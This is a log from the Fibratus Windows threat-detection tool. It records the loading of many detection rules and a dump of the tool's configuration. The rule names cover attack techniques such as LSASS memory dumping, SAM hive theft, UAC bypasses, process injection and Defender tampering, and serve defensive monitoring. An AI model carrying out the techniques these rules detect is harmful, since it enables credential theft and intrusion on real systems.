C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:52:26+01:00 level=info msg=bootstrapping with pid 18608. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:52:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true buffer-size=>512 enable-vamap=>true enable-mem=>false enable-threadpool=>false enable-audit-api=>true max-buffers=>36 enable-fileio=>true min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-dns=>false enable-net=>true enable-registry=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic timeout=>5s passive=>false exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient durable=>false enabled=>false tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus] elasticsearch=>[ bulk-workers=>1 gzip-compression=>false index-name=>fibratus timeout=>5s healthcheck-timeout=>5s template-name=>fibratus trace-log=>false healthcheck=>true flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false timeout=>5s]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-files=>[] enabled=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:52:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:52:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:53:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:53:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:53:18+01:00 level=info msg=bootstrapping with pid 10920. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:53:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-registry=>true enable-vamap=>true enable-fileio=>true max-buffers=>36 enable-thread=>true enable-mem=>false enable-threadpool=>false enable-net=>true enable-audit-api=>true enable-handle=>false flush-interval=>1s stack-enrichment=>true buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false method=>POST] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false enabled=>false template-name=>fibratus index-name=>fibratus bulk-workers=>1 timeout=>5s healthcheck-timeout=>5s gzip-compression=>false 